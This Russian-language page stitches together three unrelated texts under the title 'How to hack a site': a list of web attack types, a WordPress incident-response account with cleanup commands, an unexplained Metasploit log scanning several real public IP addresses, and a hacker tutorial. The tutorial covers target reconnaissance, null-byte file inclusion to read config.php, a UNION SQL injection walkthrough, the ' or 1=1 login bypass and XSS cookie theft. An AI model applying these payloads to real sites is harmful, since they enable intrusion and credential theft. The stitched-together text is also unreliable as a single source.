Как взломать сайт


Способы взлома сайтов.

Взлом сайтов становиться возможным из-за уязвимостей кода сайта, уязвимостей и ошибках в настройках серверного программного обеспечения, а также из-за некорректной публикацией сайта на сервере.


УЯЗВИМОСТИ КОДА САЙТА

Инъекции:

Наиболее грозным и распространенным способом взлома сайта являются инъекции.
Возможность успешной эксплуатации инъекций на сайте в 99% случаев приводит к его взлому.

  • RCE — Remote code execution. Удаленное выполнение кода на сервере.
  • PHP — инъекции. Выполнение произвольного PHP кода.
  • SQL — инъекции. Внедрение произвольного кода в SQL запрос.
  • XPath — инъекции. Внедрение произвольного кода в XPath запрос.

Инклуды:

Не менее грозный и распространенный способ взлома сайта — это инклуды.
Возможность успешной эксплуатации любого инклуда на сайте в 100% случаев приведет к его взлому.

  • RFI Remote file include. Включение удаленного файла.
  • LFI — Local file include. Подключение, выполнение или чтение локальных файлов на сервере.
  • PHP include. Включение удаленного PHP файла.

Клиентские атаки. Атаки на администраторов и посетителей сайта

Очень популярный способ взлома сайта — это атаки на клиента, в браузере жертвы.
Один из самых практикуемых способов взлома сайта.
Обусловлен тем, что клиентским атакам (к примеру XSS) подвержены более 75% всех сайтов в мире.

  • XSS атака. Сross Site Sсriрting — межсайтовый скриптинг.
  • CSRF атака. Сross Site Request Forgery — подделка межсайтовых запросов.
  • Фишинг атака. Fishing — Фишинг атака — подделка страниц сайта.

Некорректная публикация сайта на сервере. Ошибки публикации.

Некорректная публикация сайта на сервере является грубейшей ошибкой разработчиков и администраторов ресурса, зачастую приводящая к его взлому.
К таким ошибкам, напрямую влияющих на безопасность сайта являются:


  • Открытые директории с системными файлами.
  • Открытый доступ и возможность выполнения системных файлов, взаимодействующих с файловой системой или базами данных.
  • Системные архивы, бэкапы сайта, находящиеся в открытом доступе.
  • Файлы дампа баз данных в открытом доступе.
  • Открытый доступ к .svn или .git индексным файлам.

Ошибки администрирования сайта:

Нередко администраторы сайта устанавливают короткие и примитивные пароли к админкам, наподобие 123qwerty.
Такие пароли элементарно подбираются злоумышленниками с помощью специальных программ.

Небрежность администраторов сайта, имеющих доступ к FTP и административной панели, нередко приводит к взлому сайта.
Троянская программа отправленная по почте, якобы забытая кем — то, а на самом деле специально оставленная злоумышленником зараженная вирусами флэшка на столе у админа сайта могут привести к его взлому.



УЯЗВИМОСТИ СЕРВЕРА

Уязвимости программного обеспечения сервера несут огромную опасность для размещенных на них сайтах.
Устаревшие версии редакции серверных операционных систем, а также Nginx, Apachе, PHP, MySQL, FTP и прочего ПО несут в себе угрозу безопасности сайта, так как в большинстве случаев они уязвимы к взлому и атакам.
Кроме этого, существуют специальные программные решения, эксплойты, с помощью которых происходят взломы и атаки на сервер.

Неправильная настройка сервера также может открыть «дыру» или лазейку, через которую злоумышленник сможет осуществить взлом.


В этой статье приведены только самые популярные уязвимости, с помощью которых злоумышленники взламывают сайты.
Способов, техник и методов реализации атак и взлома сайтов огромное множество.

insafety.org

Тревожный сигнал

Несмотря на то что WordPress развивается уже достаточно давно и код все время анализируется, уязвимости в движке находят постоянно, и можно предположить, что продолжат находить и в будущем. Нужно отдать должное разработчикам: они оперативно реагируют на все сообщения и устраняют проблемы, а простота обновления позволяет администраторам легко обезопасить свой ресурс.


тя анализ показывает, что далеко не все спешат обновляться. Но вот основные проблемы безопасности WP не в самом движке. Сегодня доступно большое количество тем и плагинов, которые пишутся программистами разного уровня и нередко содержат уязвимости. Некоторые темы и плагины распространяются через сомнительные сайты и уже изначально могут содержать бэкдоры. Добавим сюда некорректные настройки сайта, неверные права и использование учетных записей по умолчанию, позволяющие атакующему спокойно подбирать пароли, — и без дополнительных мер защиты сайт на WP обречен.

Итак, имеем несколько сайтов на WP разного назначения, размещенных в VDS. Стандартная связка PHP5 + Apache 2 + MySQL. ОС Ubuntu 14.04.3 LTS. Также были установлены панель управления хостингом Vesta Control Panel и phpMyAdmin. Последним, впрочем, никто не пользовался, и, по-моему, о его существовании даже не знали, хотя журналы показали, что и то и другое тоже пытались взломать. На момент атаки движок блога, активные плагины и Vesta были обновлены до актуального состояния. Используемые темы в большинстве взяты из бесплатного каталога и подогнаны под свои условия. Бэкап SQL делался еженедельно, бэкап файлов — очень давно. Все это работало до поры до времени.

Первый сигнал поступил от MySQL. VDS, до этого не сильно нагруженный, перестал тянуть. В результате сервер баз данных просто отвалился, а вместе с ним и прекратили отвечать сайты. При этом количество посетителей на счетчике вписывалось в стандартную посещаемость. Перезапуск восстановил работу, но нагрузка, показанная htop, была очень высокой.


Следующий сигнал поступил от поисковых систем. Причем сообщения и, очевидно, алгоритмы работы у Яндекса и Google отличаются и по-разному полезны. Яндекс сообщил, что на сайте обнаружен вредоносный контент, в панели веб-мастера сайт был помечен соответствующим значком, указан предполагаемый тип (троян JS), и в поиске выводилась информация о том, что ресурс может навредить. Сразу скажу, что код, который раздражал Яндекс, был найден в файле заголовков почти всех тем в файле header.php, и после того, как он был убран, все сайты в течение одного-трех дней были признаны чистыми. Хотя в это время битва еще продолжалась.

Google прислал сообщение спустя шесть часов после Яндекса, но отметил, что на сайте обнаружен «взломанный контент», в панели можно было просмотреть список подозрительных файлов (на момент получения письма большинство было найдено и удалено). Информация сама по себе интересна, так как в ней указаны новые файлы, оставленные хакером, на которые нет прямых ссылок на сайте. Такие файлы, скорее всего, однозначно нужно будет удалять. Гугл в сообщении предлагает ссылку на «Инструмент для восстановления взломанных сайтов», позволяющий просмотреть, как выглядит сайт, и рекомендации. После удаления файлов необходимо вручную отправить на перепроверку те сайты, у которых при использовании site: в строке поиска показывает «Возможно, этот сайт был взломан». Позже Гугл убрал отметку об опасности части сайтов и начал выдавать сообщение о том, что на сайтах появилось большое количество ошибок. Проблема 404 возникла либо из-за некорректно внедренного кода, когда часть URL не работала, либо из-за того, что код ссылался на вредоносный файл, который уже был найден и удален.


Забегая вперед, скажу о результате. Атака шла с нескольких IP и массированно началась за три дня до взлома. Обнаружилось большое количество лишних файлов с расширением php, которые были разбросаны по всем каталогам, плюс каталог gopni3d с кучей HTML-файлов внутри. Здесь и шелл, и бэкдор-загрузчик, и дорвей, и рассыльщик спама. Внедрен PHP- и JS-код в тему header.php и некоторые файлы WP, включая wp-config.php. Изменен файл .htaccess. В WP появились две дополнительные учетные записи с правами администратора. Каталог SMTP-сервера /var/spool/exim4/input был завален большим количеством спам-писем.

Теперь разберем, как это все найти, потратив минимальные усилия и имея минимум знаний. Дальнейшие шаги понятны: найти чужой код, понять действия хакера, устранить уязвимости или снизить их количество, затруднить дальнейшие атаки. Все это нужно будет делать быстро и параллельно.

Код, оставленный хакером
Код, оставленный хакером

Первые шаги


Можно отключить сайт, остановив веб-сервер или переведя WP в режим обслуживания, но мы пока не знаем, что искать. Если отключить невозможно, то на этом этапе можно запретить регистрацию новых пользователей и комментарии, изменить пароли администратора WP и пароли к СУБД. При наличии свежего бэкапа можем восстановить сайт, затем перейти к анализу и заняться локализацией проблем и усилением защиты. Иначе придется чистить файлы вручную. Как минимум можно сразу заменить файлы WP новыми из архива, удалив предварительно старые файлы и каталоги (кроме, естественно, каталогов тем, плагинов и upload). Далее обновляем (если не сделали это раньше) движок, тему и плагины. Неактивные темы и плагины безоговорочно удаляем. Проверяем сами плагины. Хакер некоторые просто отключает, изменив название каталога (добавив знак подчеркивания в начало). Проверяем корректность файлов .htaccess, их содержимое хакер может просто обнулить. Если файл .htaccess был неправильно настроен, то к файлам сайта можно получить доступ из поисковика: site:example.org inurl:/wp-admin/. Переименуй тему, некоторые атаки идут пакетом, когда просто подбираются уязвимости к популярным темам. Переименовав тему, мы изменим URL, а значит, такая атака ее минует. Если до сих пор не использовалась капча, то ставь любой понравившийся плагин. Это снизит вероятность брутфорса. Некоторые к тому же предоставляют дополнительные возможности: блокировку IP в случае неправильного ввода несколько раз, ограничение по времени ввода, белый список. Проверять на зараженность можно как изнутри при помощи инструментов, доступных в ОС, так и через внешние сервисы. Запускаем антивирусную проверку.

$ sudo clamscan -i -r /var/www  /var/www/wp-content/plugins/akismet/_inc/img/sidebar-widescreen.php.suspected: Php.Malware.Agent-1426825 FOUND  

Кроме антивируса, можно прогнать еще сканер Linux Malware Detect и скрипт AI-Bolit. Но найдут они не все.

Первые данные от внешних сервисов уже есть. Гугл выдал подсказку, просто ищем файлы, проверяем, действительно ли они вредоносны, и удаляем. Для последующего поиска сохраняем небольшой специфический текст, который будем использовать в качестве сигнатуры. Анализ самого кода позволит получить IP, URL и другие специфические параметры, их будем искать в логах и блокировать с помощью файрвола.

В Сети доступно множество ресурсов, проверяющих, безопасны ли сайты. Не все они полезны. Некоторые, например, просто получают данные о вредоносности от API Яндекса и Гугла. Услугу проверки URL предлагают и производители антивирусов. Например, сканер от Dr.Web проверяет страницы и анализирует, есть ли редирект на другие сайты. К сожалению, кроме того, что сайт заражен, и типа вируса, больше никакой полезной информации он не дал. Ресурс 2ip.ru показал, что на сайте обнаружены iframe-вставки. К сожалению, для повторной проверки он бесполезен, так как, очевидно, запоминает результат и сообщает, что сайт заражен, когда все остальные уже считают его безопасным.


Наибольшую пользу в поиске принес онлайн-сканер SiteGuarding.com, специально разработанный для поиска специфических вредоносных программ. В отчете были не только показаны проблемные ссылки, но и дана конкретика, позволяющая в дальнейшем найти этот код в файлах при помощи grep. Проект предлагает и свой плагин WP Antivirus Site Protection, доступный из каталога плагинов WP. В бесплатной версии он сканирует файлы, проверяя их на наличие опасного кода, и выдает отчет по обнаруженным malware и файлам, показавшимся подозрительным эвристическому анализатору. Правда, выданное не стопроцентно проблема, но это уже что-то. Число сканирований ограничено, но этого достаточно, чтобы решить проблемы и некоторое время контролировать ситуацию.

Отчет плагина об обнаруженном malware
Отчет плагина об обнаруженном malware

Полученную на SiteGuarding.com информацию о коде малвари скармливаем grep. Принцип простой: берем некий уникальный кусок (например, там указан URL сайта, на который идет редирект, или имя файла) и пробуем найти этот текст в остальных файлах веб-сайта.

$ grep -iR example.org /var/www/  

Если при ручной разборке будут попадаться зараженные файлы, то анализируем и небольшой кусок уникального текста также предлагаем grep для поиска других аналогичных файлов. Код в файлы сайта вставляется либо в начало, либо в конец, и он, в отличие от остального, плохо структурирован, то есть идет сплошной массой. Это сразу бросается в глаза в любом текстовом редакторе, особенно с подсветкой кода. Но бывает, код специально отбивают за пределы видимой части экрана вправо или вниз. Можно составить небольшой скрипт, чтобы сразу вырезать кусок кода. Правда, остатки потом найти будет сложнее. Например, в decode использована последовательность HtI9Opn...Z. Создаем такой скрипт:

$ nano virusdel.sh  #!/bin/bash  virus='eval(base64_decode("HtI9Opn.*Z=="));'  find . -type f -name '*.php' -exec sed --in-place -e "s/$virus//g" '{}' ;

Запускаем:

$ chmod +x virusdel.sh  $ ./virusdel.sh

Найденное имя файла сразу проверяем на остальных подкаталогах и сайтах при помощи find.

$ find /var/www/ -name confg.php

Время доступа к файлам не всегда выдает его модификацию, но вот различие в размерах файла и количестве файлов в каталоге по сравнению с оригинальным бросается в глаза сразу. И мы можем легко сравнить два каталога при помощи diff или вручную, открыв два окна в mc. Самый простой diff -aqr dir1 dir2 покажет только отличающиеся файлы без самих изменений, полный diff -ruN > out.diff выдаст информацию в стиле patch. Внутри каталогов обнаружилось большое число лишних PHP-файлов, некоторые называются похоже на файлы WP или так же, но лежат в другом каталоге. Например, class-wp-*.php, wp-config .php (с пробелом). А также всякие users.php, confg.php, about.php и случайные имена (вроде a249yh.php, их легко заметить).

Каталог /var/spool/exim4/input был буквально забит спам-сообщениями. Количество сообщений в очереди, выведенное exim -bpc, достигало нескольких тысяч. Вывод ps aux показывал процесс sendmail, пытавшийся отправить письмо от неизвестного пользователя с доменом сайта. Чтобы не рассылать спам, SMTP-сервер лучше пока остановить. При попытке очистить командой rm -rf /var/spool/exim/input/* bash вываливался с ошибкой из-за большого количества файлов. Можно использовать маску и удалять файлы по частям, но в случае с exim проще ввести

$ sudo exipick -i | xargs exim -Mrm

xakep.ru

msf > db_nmap 82.208.100.243
[*] Nmap: Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2017-01-16 19:03 MSK
[*] Nmap: Nmap scan report for 82-208-100-243.pg-nat-pool.mts-nn.ru (82.208.100.243)
[*] Nmap: Host is up (0.035s latency).
[*] Nmap: Not shown: 994 filtered ports
[*] Nmap: PORT    STATE SERVICE
[*] Nmap: 25/tcp  open  smtp
[*] Nmap: 110/tcp open  pop3
[*] Nmap: 143/tcp open  imap
[*] Nmap: 587/tcp open  submission
[*] Nmap: 993/tcp open  imaps
[*] Nmap: 995/tcp open  pop3s
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 49.86 seconds
msf > hosts -h
Usage: hosts [ options ] [addr1 addr2 …]
 
OPTIONS:
  -a,—add          Add the hosts instead of searching
  -d,—delete       Delete the hosts instead of searching
  -c <col1,col2>    Only show the given columns (see list below)
  -h,—help         Show this help information
  -u,—up           Only show hosts which are up
  -o <file>         Send output to a file in csv format
  -R,—rhosts       Set RHOSTS from the results of the search
  -S,—search       Search string to filter by
  -i,—info         Change the info of a host
  -n,—name         Change the name of a host
  -m,—comment      Change the comment of a host
  -t,—tag          Add or specify a tag to a range of hosts
 
Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count, tags
 
msf > hosts
 
Hosts
=====
 
address         mac  name                                  os_name  os_flavor  os_sp  purpose  info  comments
——-         —  —-                                  ——-  ———  ——  ——-  —-  ———
82.208.100.243       82-208-100-243.pg-nat-pool.mts-nn.ru  Unknown                    device        
85.140.7.139         ppp85-140-7-139.pppoe.mtu-net.ru      Unknown                    device        
85.140.7.255         85.140.7.255                          Unknown                    device        
93.120.214.97        93-120-214-97.dynamic.mts-nn.ru       Unknown                    device        
178.93.1.3           3-1-93-178.pool.ukrtel.net            Unknown                    device        
188.162.245.9        client.yota.ru                        Unknown                    device        
192.168.77.138       192.168.77.138                        Unknown                    device        
 
msf > services -h
 
Usage: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 …]
 
  -a,—add          Add the services instead of searching
  -d,—delete       Delete the services instead of searching
  -c <col1,col2>    Only show the given columns
  -h,—help         Show this help information
  -s <name1,name2>  Search for a list of service names
  -p <port1,port2>  Search for a list of ports
  -r <protocol>     Only show [tcp|udp] services
  -u,—up           Only show services which are up
  -o <file>         Send output to a file in csv format
  -R,—rhosts       Set RHOSTS from the results of the search
  -S,—search       Search string to filter by
 
Available columns: created_at, info, name, port, proto, state, updated_at
 
msf > services
 
Services
========
 
host            port  proto  name          state     info
—-            —-  ——  —-          ——     —-
82.208.100.243  25    tcp    smtp          open      
82.208.100.243  110   tcp    pop3          open      
82.208.100.243  143   tcp    imap          open      
82.208.100.243  587   tcp    submission    open      
82.208.100.243  993   tcp    imaps         open      
82.208.100.243  995   tcp    pop3s         open      
85.140.7.139    25    tcp    smtp          open      
85.140.7.139    80    tcp    http          open      
85.140.7.139    110   tcp    pop3          open      
85.140.7.139    119   tcp    nntp          open      
85.140.7.139    143   tcp    imap          open      
85.140.7.139    465   tcp    smtps         open      
85.140.7.139    563   tcp    snews         open      
85.140.7.139    587   tcp    submission    open      
85.140.7.139    993   tcp    imaps         open      
85.140.7.139    995   tcp    pop3s         open      
85.140.7.255    80    tcp    http          open      
93.120.214.97   21    tcp    ftp           open      
93.120.214.97   22    tcp    ssh           open      
93.120.214.97   23    tcp    telnet        open      
93.120.214.97   25    tcp    smtp          open      
93.120.214.97   80    tcp    http          open      
93.120.214.97   110   tcp    pop3          open      
93.120.214.97   119   tcp    nntp          open      
93.120.214.97   139   tcp    netbios-ssn   open      
93.120.214.97   143   tcp    imap          open      
93.120.214.97   445   tcp    microsoft-ds  open      
93.120.214.97   465   tcp    smtps         open      
93.120.214.97   514   tcp    shell         filtered  
93.120.214.97   563   tcp    snews         open      
93.120.214.97   587   tcp    submission    open      
93.120.214.97   993   tcp    imaps         open      
93.120.214.97   995   tcp    pop3s         open      
93.120.214.97   5431  tcp    park-agent    open      
178.93.1.3      25    tcp    smtp          open      
178.93.1.3      110   tcp    pop3          open      
178.93.1.3      119   tcp    nntp          open      
178.93.1.3      143   tcp    imap          open      
178.93.1.3      465   tcp    smtps         open      
178.93.1.3      563   tcp    snews         open      
178.93.1.3      587   tcp    submission    open      
178.93.1.3      993   tcp    imaps         open      
178.93.1.3      995   tcp    pop3s         open      
188.162.245.9   25    tcp    smtp          open      
188.162.245.9   80    tcp    http          open      
188.162.245.9   110   tcp    pop3          open      
188.162.245.9   119   tcp    nntp          open      
188.162.245.9   143   tcp    imap          open      
188.162.245.9   465   tcp    smtps         open      
188.162.245.9   563   tcp    snews         open      
188.162.245.9   587   tcp    submission    open      
188.162.245.9   993   tcp    imaps         open      
188.162.245.9   995   tcp    pop3s         open      
192.168.77.138  25    tcp    smtp          open      
192.168.77.138  80    tcp    http          open      
192.168.77.138  110   tcp    pop3          open      
192.168.77.138  143   tcp    imap          open      
192.168.77.138  587   tcp    submission    open      
192.168.77.138  993   tcp    imaps         open      
192.168.77.138  995   tcp    pop3s         open      
 
msf > services -c port,name,state
 
Services
========
 
host            port  name          state
—-            —-  —-          ——
82.208.100.243  25    smtp          open
82.208.100.243  110   pop3          open
82.208.100.243  143   imap          open
82.208.100.243  587   submission    open
82.208.100.243  993   imaps         open
82.208.100.243  995   pop3s         open
85.140.7.139    25    smtp          open
85.140.7.139    80    http          open
85.140.7.139    110   pop3          open
85.140.7.139    119   nntp          open
85.140.7.139    143   imap          open
85.140.7.139    465   smtps         open
85.140.7.139    563   snews         open
85.140.7.139    587   submission    open
85.140.7.139    993   imaps         open
85.140.7.139    995   pop3s         open
85.140.7.255    80    http          open
93.120.214.97   21    ftp           open
93.120.214.97   22    ssh           open
93.120.214.97   23    telnet        open
93.120.214.97   25    smtp          open
93.120.214.97   80    http          open
93.120.214.97   110   pop3          open
93.120.214.97   119   nntp          open
93.120.214.97   139   netbios-ssn   open
93.120.214.97   143   imap          open
93.120.214.97   445   microsoft-ds  open
93.120.214.97   465   smtps         open
93.120.214.97   514   shell         filtered
93.120.214.97   563   snews         open
93.120.214.97   587   submission    open
93.120.214.97   993   imaps         open
93.120.214.97   995   pop3s         open
93.120.214.97   5431  park-agent    open
178.93.1.3      25    smtp          open
178.93.1.3      110   pop3          open
178.93.1.3      119   nntp          open
178.93.1.3      143   imap          open
178.93.1.3      465   smtps         open
178.93.1.3      563   snews         open
178.93.1.3      587   submission    open
178.93.1.3      993   imaps         open
178.93.1.3      995   pop3s         open
188.162.245.9   25    smtp          open
188.162.245.9   80    http          open
188.162.245.9   110   pop3          open
188.162.245.9   119   nntp          open
188.162.245.9   143   imap          open
188.162.245.9   465   smtps         open
188.162.245.9   563   snews         open
188.162.245.9   587   submission    open
188.162.245.9   993   imaps         open
188.162.245.9   995   pop3s         open
192.168.77.138  25    smtp          open
192.168.77.138  80    http          open
192.168.77.138  110   pop3          open
192.168.77.138  143   imap          open
192.168.77.138  587   submission    open
192.168.77.138  993   imaps         open
192.168.77.138  995   pop3s         open
 
msf > use auxiliary/scanner/http/crawler
msf auxiliary(crawler) > show options
 
Module options (auxiliary/scanner/http/crawler):
 
   Name          Current Setting  Required  Description
   —-          —————  ———  ————
   DOMAIN        WORKSTATION      yes       The domain to use for windows authentication
   HttpPassword                   no        The HTTP password to specify for authentication
   HttpUsername                   no        The HTTP username to specify for authentication
   MAX_MINUTES   5                yes       The maximum number of minutes to spend on each URL
   MAX_PAGES     500              yes       The maximum number of pages to crawl per URL
   MAX_THREADS   4                yes       The maximum number of concurrent requests
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][…]
   RHOST                          yes       The target address
   RPORT         80               yes       The target port
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   URI           /                yes       The starting page to crawl
   VHOST                          no        HTTP server virtual host
 
msf auxiliary(crawler) > set RHOST 82.208.100.243
RHOST => 82.208.100.243
msf auxiliary(crawler) > set URI /WackoPicko/
URI => /WackoPicko/
msf auxiliary(crawler) > run
 
[*] Crawling http://82.208.100.243:80/WackoPicko/…
[-] [00001/00500]    ERR — 82.208.100.243 — http://82.208.100.243/WackoPicko/
[*] Crawl of http://82.208.100.243:80/WackoPicko/ complete
[*] Auxiliary module execution completed
msf auxiliary(crawler) > load wmap
 
.-.-.-..-.-.-..—..—.
| | | || | | || | || |-‘
`——‘`-‘-‘-‘`-^-‘`-‘
[WMAP 1.5.1] ===  et [  ] metasploit.com 2012
[*] Successfully loaded plugin: wmap
msf auxiliary(crawler) > wmap_sites
[*] Usage: wmap_sites [options]
-h        Display this help text
-a   Add site (vhost,url)
-d [ids]  Delete sites (separate ids with space)
-l        List all available sites
-s [id]   Display site structure (vhost,url|ids) (level)
 
msf auxiliary(crawler) > wmap_sites -l
[*] Available sites
===============
 
     Id  Host            Vhost           Port  Proto  # Pages  # Forms
     —  —-            ——           —-  ——  ——-  ——-
     0   82.208.100.243  82.208.100.243  80    http   1        0
     1   85.140.7.139    85.140.7.139    80    http   1        0
     2   85.140.7.255    85.140.7.255    80    http   1        0
     3   188.162.245.9   188.162.245.9   80    http   1        0
     4   192.168.77.138  192.168.77.138  80    http   1        0
 

msf auxiliary(crawler) > wmap_sites -s 0
    [82.208.100.243] (82.208.100.243)
          
          |——/WackoPicko
 

msf auxiliary(crawler) > wmap_targets
[*] Usage: wmap_targets [options]
-h Display this help text
-t [urls] Define target sites (vhost1,url[space]vhost2,url)
-d [ids] Define target sites (id1, id2, id3 …)
-c Clean target sites list
-l   List all target sites
 
msf auxiliary(crawler) > wmap_targets -t
msf auxiliary(crawler) > wmap_run
[*] Usage: wmap_run [options]
-h                        Display this help text
-t                        Show all enabled modules
-m [regex]                Launch only modules that name match provided regex.
-p [regex]                Only test path defined by regex.
-e [/path/to/profile]     Launch profile modules against all matched targets.
                          (No profile file runs all enabled modules.)
 
msf auxiliary(crawler) > wmap_run -e
[*] Using ALL wmap enabled modules.
[-] NO WMAP NODES DEFINED. Executing local modules
[-] Targets have not been selected.
msf auxiliary(crawler) >

www.hackzone.ru

by Saint

ВСТУПЛЕНИЕ
Данная статья не претендует на звание самой лучшей, т.к. существует множество статей на данную тему. Она призвана собрать в себе некоторые из массы приемов по борьбе против админов.

Часть 1. ПРЕДВАРИТЕЛЬНОЕ ОБСЛЕДОВАНИЕ «ПАЦИЕНТА».

Глава 1. Статичность или динамичность?
Допустим у нас есть сайт _www.xxx.com. Первое, что необходимо сделать – это просмотреть его контент.
Бывают сайты двух типов – со статическим или же с динамическим наполнением. Второй тип встречается чаще, т.к. каждый раз создавать новую страницу – это большой труд, а если таких страниц нужно 100… Первый тип используется либо новичками(для создания личной странички) или сильно защищаемыми компаниями, дабы обезопасить себя от большинства приемов взлома, но, как говорится, никто не застрахован… Второй тип для нас предпочтительнее, т.к. из-за динамичности трудно отслеживать все появляющиеся ошибки.
Итак, смотрим какие страницы присутствуют. Для статического контента свойственны страницы с расширениями *.htm, *.html (Но это не всегда так, т.к. можно прятать сценарии на PHP или ASP в виде HTML). Распознать статические страницы можно по их количеству, отсутствию параметров в адресной строке и прямым переходам на другие страницы. Для динамических сайтов характерны расширения *.php, *.phtml, *.php3, *.asp, *.aspx, *.jsp — это расширения языков обработки сценариев.
Пример: На сайте _http://www.xxx.com присутствуют 5 страниц: index.html, masha.html, pasha.html, ih_lubov.html, about.htm. Этот сайт скорее всего статический… А вот страница вида _http://www.yyy.com/index.html?page=sasha.html наводит на подозрение о динамичности сайта.

Глава 2. Кто тут ещё?
Возможно, что обследуемый сайт состоит всего из 3-4 статических страниц и найти ошибки в них нет возможности. В этом случае нам может помочь то обстоятельство, что на одном сервере могут размещаться несколько сайтов, некоторые из них могут иметь динамическое наполнение или открытый доступ в админки(что бывает очень редко). Помочь найти таких соседей на помогут специальные сервисы, вот адреса трёх из таких:
http://DomainsDB.net
http://hack-shop.org.ru/revip.php
http://www.seologs.com/ip-domains.html.
Далее можно проверить сервер на наличие других сервисов, таких как FTP, Telnet, SSH, HTTPS(защищенный HTTP). Иногда бывает так, что админ полностью защитил свой контент, а забыл про сервис FTP и оставил его открытым.
Пример: Сайт _http://www.xxx.com хорошо защищен, но на этом IP сидит ещё один сайт _http://www.yyy.com (как мы узнали из вышеупомянутых сервисов). Он защищен тоже хорошо, но набив в адресной строке _ftp://www.yyy.com мы видим весь контент сайта и можем залить туда шелл (специальный скрипт позволяющий выполнять в системе сервера различные команды). Вообще, заливка шелла – это предпоследний шаг при получении полного доступа к серверу.

Глава 3. Ближе к телу.
Итак, зная многое о сайте, что можно ещё сделать? Можно просканировать «скрытый» контент сайта для получения нужной информации. Многие админы хотят, чтобы их детище было популярным у людей, поэтому они всячески пытаются завлечь к себе поисковые системы. Это делается для того, чтобы человек в поисках информации заходил на сайт через поисковые серверы (yandex.ru, rambler.ru, google.com, msn.com). У этих систем есть свои «добыватели информации» — роботы, которые ходят по всем ссылкам и все куда-то записывают, а потом выдают при нажатии на кнопку ПОИСК. Чтобы эти роботы не лазили куда им не следует, часто создают в корне сайта специальный файл с инструкциями боту. Он называется robots.txt. В нём иногда можно найти много интересной информации.
Также можно просканировать весь сайт при помощи специальных утилит таких как NIKTO, Xspyder и др. (Все их можно найти в интернете). Они помогут отыскать скрытые от наших глаз файлы и папки.
Пример: По адресу _http://www.xxx.com/robots.txt мы видим, что существует папка /forum, хотя на самом сайте о ней никакого упоминания нет. Переходим по адресу _http://www.xxx.com/forum и лицезреем только что сделанный форум, а просканировав сайт сканером, мы находим админку без авторизации — _http://www.xxx.com/admin.


Часть 2. АТАКА.

Глава 1. Перед атакой.
При просмотре сайта опытный глаз всегда заметит, самодельный сайт или же он построен на каком-либо популярном движке. А для этих движков почти все уязвимости известны (за исключение так называемых private-sploit, которые известны только узкому кругу людей и стоят больших денег). Новичку же стоит обращать своё внимание на следующие вещи:
— Надпись Powered by xxxxxxxx говорит, что название движка xxxxxxxx;
— Стиль оформеления такой же, как у движка yyyyyyy;
— Название скриптов такое же, как у движка zzzzzzz.
Если вы поняли, какой движок управляет сайтом, то нужно поискать уязвимости самому, скачав такой же, или же, если не хватает знаний, то воспользоваться специализированными сайтами, такими как XakNet.ru, AntiChat.ru, SecurityLab.ru, milw0rm.com. Там в специальных разделах лежит информация почти о всех уязвимостях известных движков, а также присутствуют сплоиты – специальные скрипты, автоматически взламывающие сайт (их обычно искользуют либо новички за не знанием, либо профи для упрощения процесса взлома).
Для самописных сайтов существуют несколько видов атак на веб-контент, самые распространённые:
— PHP-инъекции;
— SQL-инъекции;
— XSS-атаки.

Глава 2. PHP-injection.
PHP-инъекции – это вид атаки, при котором вместо положенной страницы взломщик выводит ту, которая ему нужна. Наличие данной уязвимости характерно для сайтов, у которых адресная строка выглядит примерно так – _http://www.xxx.com/index.php?page=sasha.php — это идеальная PHP-инъеция, при которой скрипт не проверяет(в большинстве случаев) ни название файла, ни его расширение. Есть инъекции, при которых расширение файла дописывается самим скриптом — _http://www.xxx.com/index.php?page=sasha — выведет страницу sasha.html. Для обхода данного «запрета» (А нам нужно вывести например файл с паролями от базы данных – config.php) используется 0-баг, суть которого состоит в том, что в конце полного названия файла ещё приписывается %00, т.е. адрес примет вид _http://www.xxx.com/index.php?page=config.php%00 (%00 означает «конец строки»). Таким образом на экране(или в коде страницы) выведется содержимое файла config.php, а там…..

Глава 3. SQL-injection.
Многие сайты хранят важную информацию в базах данных. Наиболее популярными в интернете считаются MySQL и MSSQL базы данных. Сайт при помощи запросов может обратиться к базе данных, она выдаст ответ, а скрипт выдаст его в нужном формате пользователю. Так вот, если изменить каким-то образом запрос, мы можем получить нужный нам результат.
Проверить на наличие SQL-инъекции можно подставив в параметр символ «‘», который в базах данных является ограничителем запроса, т.е. если есть адрес _http://www.xxx.com/index.php?id=365 и мы подставив ‘ после параметра 365 — _http://www.xxx.com/index.php?id=365’ получаем вместо вывода на экран информации ошибку, то это говорит о наличии SQL-инъекции. Дальше – все зависит от вида и версии базы данных. Описывать здесь все подвиды SQL-атак я не буду, т.к. объём статьи сразу увеличится в разы, но с радостью скажу где про это можно почитать подробно, т.к. статей по данному виду уязвимостей — множество. Вот ссылки на специализированные сайты:
http://XakNet.ru
http://AntiChat.ru и др.

Пример: Адресная строка сайта выглядит так: _http://www.xxx.com/index.php?id=365. Мы, подставив ‘ — _http://www.xxx.com/index.php?id=365’ — получаем ошибку вида “MySQL Error: …”. Подбираем количество столбцов при помощи “+order+by+XX/*”, где XX – число, которое означает номер столбца:
_http://www.xxx.com/index.php?id=365+order+by+50/* — ошибка есть…
_http://www.xxx.com/index.php?id=365+order+by+25/* — ошибка есть…
_http://www.xxx.com/index.php?id=365+order+by+15/* — ошибки нет, значит кол-во столбцов между 15 и 25… Далее, тем же путем находим, что количество столбцов равно 16.
_http://www.xxx.com/index.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16/* — выводятся 2,4,6,8,15. Подставляем user(), version(), database() на место выводимых чисел и получаем информацию о пользователе, версии и название используемой базы данных. Дальше зависит от данных, которые мы хотим получить…
Также, если при входе в закрытые разделы сайта используется база данных, мы можем обойти авторизацию при помощи конструкции вида: ’ or 1=1/*, подставив её вместо логина, пароля.

Глава 4. XSS-атака.
Этот вид атаки используется для получения Coockies админов. Если при вводе в какое-нибудь поле, например «ПОЛНОЕ ИМЯ» в гостевой книге, конструкции вида <script>ALERT(‘Admin – FUCK’)(</script> и последующем просмотре своей записи на экране появляется окно с надписью «Admin – FUCK», то это говорит о наличии XSS-уязвимости. Если вставить специальный код, то при просмотре админом данного сообщения его куки прилетят к вам на сниффер, а в них пароль или его хэш, или сеcсия…
